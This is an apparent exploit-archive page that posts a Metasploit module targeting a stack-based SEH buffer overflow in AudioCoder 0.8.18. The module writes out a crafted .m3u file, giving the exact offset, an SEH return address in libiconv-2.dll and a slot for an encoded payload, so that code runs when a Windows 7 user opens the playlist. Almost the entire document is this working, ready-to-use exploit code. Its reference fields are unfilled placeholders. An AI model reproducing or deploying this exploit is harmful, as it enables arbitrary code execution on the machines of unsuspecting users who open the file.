AudioCoder Buffer Overflow Exploit (SEH)
2013-05-01 17:03:55Inviato da: metacom
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
#Rank definition: http://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Ranking
#ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'AudioCoder Buffer Overflow Exploit (SEH)',
'Description' => %q{
This module exploits a vulnerability found in AudioCoder 0.8.18 filename
handling routine. When supplying a string of input data embedded in a .m3u file,
As a result, if this input data is long enough, it can cause a stack-based buffer overflow,
which may lead to arbitrary code execution under the
context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'metacom27[at]gmail.com', # Original discovery
'metacom', # MSF Module
'RST',
],
'References' =>
[
[ 'OSVDB', '<insert OSVDB number here>' ],
[ 'CVE', 'insert CVE number here' ],
[ 'URL', '<insert another link to the exploit/advisory here>' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process', #none/process/thread/seh
#'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d", # <change if needed>
'DisableNops' => true,
},
'Targets' =>
[
[ 'Windows 7',# Tested on: Windows 7 SP1/SP0
{
'Ret' => 0x660104EE, #libiconv-2.dll
'Offset' => 765
}
],
],
'Privileged' => false,
#Correct Date Format: "M D Y"
#Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec
'DisclosureDate' => 'May 01 2013',
'DefaultTarget' => 0))
register_options([OptString.new('FILENAME', [ false, 'The file name.', 'audiocoder.m3u']),], self.class)
end
def exploit
buffer = "http://"
buffer << rand_text_alpha_upper(target['Offset']) #junk
buffer << generate_seh_record(target.ret)
buffer << payload.encoded #2824 bytes of space
buffer << rand_text_alpha(5000-buffer.length)
# more junk may be needed to trigger the exception
print_status("Creating '#{datastore['FILENAME']}'...")
file_create(buffer)
end
end
Fixes
No fixesPer poter inviare un fix è necessario essere utenti registrati.